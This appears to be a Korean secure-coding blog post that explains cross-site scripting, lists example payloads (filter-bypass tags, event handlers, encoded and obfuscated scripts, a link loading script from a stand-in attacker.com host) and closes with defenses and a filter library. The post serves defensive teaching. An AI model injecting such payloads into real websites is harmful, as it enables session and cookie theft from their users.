XSS(Cross Site Scripting)란?
XSS는 크로스 사이트 스크립팅, 즉 사이트 간 스트립팅이라는 이름의 웹 취약점이다.
웹 사이트의 어드민(관리자)이 아닌 악의적인 목적을 가진 제삼자가 악성 스크립트를 삽입하여 의도하지 않은 명령을 실행시키거나 세션 등을 탈취할 수 있는 취약점입니다.
이름처럼 대부분 자바스크립트를 이용한 공격이 이루어지며 SQL Injection과 함께 웹 취약점 중 가장 기초적인 취약점으로 알려져 있습니다만 워낙 공격패턴이 다양하고 변화가 많이 이루어지기 때문에 사실상 완벽한 방어가 힘들고 지금까지도 굉장히 위험한 취약점 중 하나입니다.
XSS 공격으로 인해 발생할 수 있는 피해
1. 쿠키 및 세션정보 탈취
2. 악성 프로그램 다운 유도(좀비 PC)
3. 의도하지 않은 페이지 노출
공격종류
Reflected XSS(공격자가 악성 스크립트를 클라이언트에게 직접 전달하여 공격하는 방식)
Stored XSS(공격자가 악성 스크립트를 서버에 저장시킨 다음 클라이언트의 요청/응답 과정을 통해 공격하는 방식)
DOM Based XSS(피해자의 브라우저가 html 페이지를 분석하여 DOM을 생성할 때 악성 스크립트가 DOM의 일부로 구성되어 생성되는 공격)
공격에 쓰이는 코드
아래 예시 alert문으로 공격 코드를 대체
//가장 기본적인 구문으로 대놓고 script 태그를 넣어 alert를 실행시키는 구문입니다.
<script>alert("hi")</script>
//<script> 태그를 일차적으로 필터링하는 것을 우회하기 위한 구문입니다.
<scr<script>ipt>alert("hi");</scr</script>ipt>
//a 태그를 이용한 공격입니다. onmouseover 이벤트를 통해 공격을 실행합니다.
<a onmouseover="alert('hi')">
//img 태그를 이용한 공격입니다.
<img src=# onerror="alert('hi')">
//잘 사용되지 않는 태그를 이용한 공격입니다. 해당 태그가 필터에서 누락된 경우 공격을 실행할 수 있습니다.
<ruby onmouseover="alert('hi')"></ruby>
// 일반적인 케이스
"><script> alert("XSS1") </script>
"><iframe src="javascript:alert('XSS2');"></iframe>
// 그 외 예제) 사용자 쿠키 값 획득
<script>alert(document.cookie)</script>
// 그 외 예제) 클릭 시 별도 지정한 URL로 이동
<a href="http://test.com/test.cgi?loc=<script src='http://attacker.com/test'></script>">Click</a>
//숨겨진 iframe을 이용해 URL로 이동
<iframe height=500 width=500 src="http://www.google.co.kr"></iframe>
<iframe src="http://www.google.co.kr" name="Click Here" width="0" height="0" frameborder="0"></iframe>
// 지정한 파일이 존재하지 않을 때 악성코드 사이트로 이동
<object width=0 height=0 style=display:none; type=text/xscriptlet data=mk:@MSITStore:mhtml:c:\nosuchfile.mht! http://www.google.go.kr></object>
// 바디 태그
<body onload=alert('body-XSS')>
// div 태그
<div style="position:absolute; left:200; top:90; z-index:2;">
<img src="images/test/jpg"></div>
// 공격하려는 문자열을 다른 표현으로 인코딩하여 눈에 띄지 않거나, IPS/WAF 등의 감지패턴을 우회하기 위해 인코딩
<script>alert(String.fromCharCode(116, 101, 115, 116))</script>
// Obfuscated 기법
<script language="javas-ript">
e = '0x00' + '5F';
str1 = "%E4%BC%B7%AA%C0%AD ....... %AA%E2";
str = tmp = '';
for(i=0; i<str1.length; i+=3)
{
tmp = unescape(str1.slice(i,i+3));
str = str + String.fromCharCode((tmp.charCodeAt(0)^e)-127);
}
document.write(str);
</script>
// 기타
;</script><script>alert("XSS3");</script>
// 내용 난독화
<a href="javas
cript
:
alert
('XSS')">XSS</a>
// 일본어로 난독화 하기 https://utf-8.jp/public/aaencode.html <- 여기서 할 수 있음
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ (゚Д゚) ['c']+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ (゚Д゚) .゚Θ゚ノ+ ((゚ー゚) + (o^_^o))+ (゚Д゚) [゚Θ゚]+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ (゚Д゚) ['c']+ ((o^_^o) - (゚Θ゚))+ (゚Д゚) .゚ー゚ノ+ (゚Д゚) .゚ー゚ノ+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ (゚Д゚) ['c']+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚) ['c']+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ (゚Д゚) .゚Θ゚ノ+ ((゚ー゚) + (゚ー゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚) ['c']+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ (゚Д゚) ['c']+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ (゚Д゚) .゚Θ゚ノ+ (o^_^o)+ (゚Д゚) .゚ー゚ノ+ ((゚ー゚) + (゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ (゚Д゚) .゚Θ゚ノ+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚) ['c']+ (゚Д゚)[゚ε゚]+(o゚ー゚o)+ (゚Д゚) .゚Θ゚ノ+ ((o^_^o) - (゚Θ゚))+ (゚Д゚) .゚Д゚ノ+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
방어방법
1. 입력 값의 길이 제한(이메일, 아이디, 패스워드 등 목적에 맞게)
2. replace 등의 함수를 이용한 치환
3. '<', '>' 와 같이 태그에 사용되는 기호를 엔티티코드로 변환
4. 입력 값에 대한 꼼꼼한 유효성 검사(반드시 서버에서 수행)
5. 불가피하게 HTML 태그 사용을 허용해야 할 경우 화이트리스트를 만들어 특정 태그 입력만 허용
필터 적용
유명한 XSS 방지 라이브러리
GitHub - naver/lucy-xss-servlet-filter
적용 후 게시판에 위 공격 구문 스크립트를 넣고 저장 후 다시 들어가 보자 alert 메시지가 나오면 실패한 거다.
오늘도 보람찬 생존 ^.^
'자바 > 시큐어코딩' 카테고리의 다른 글
파일 업로드 확장자 검증 (0) | 2022.12.28 |
---|
댓글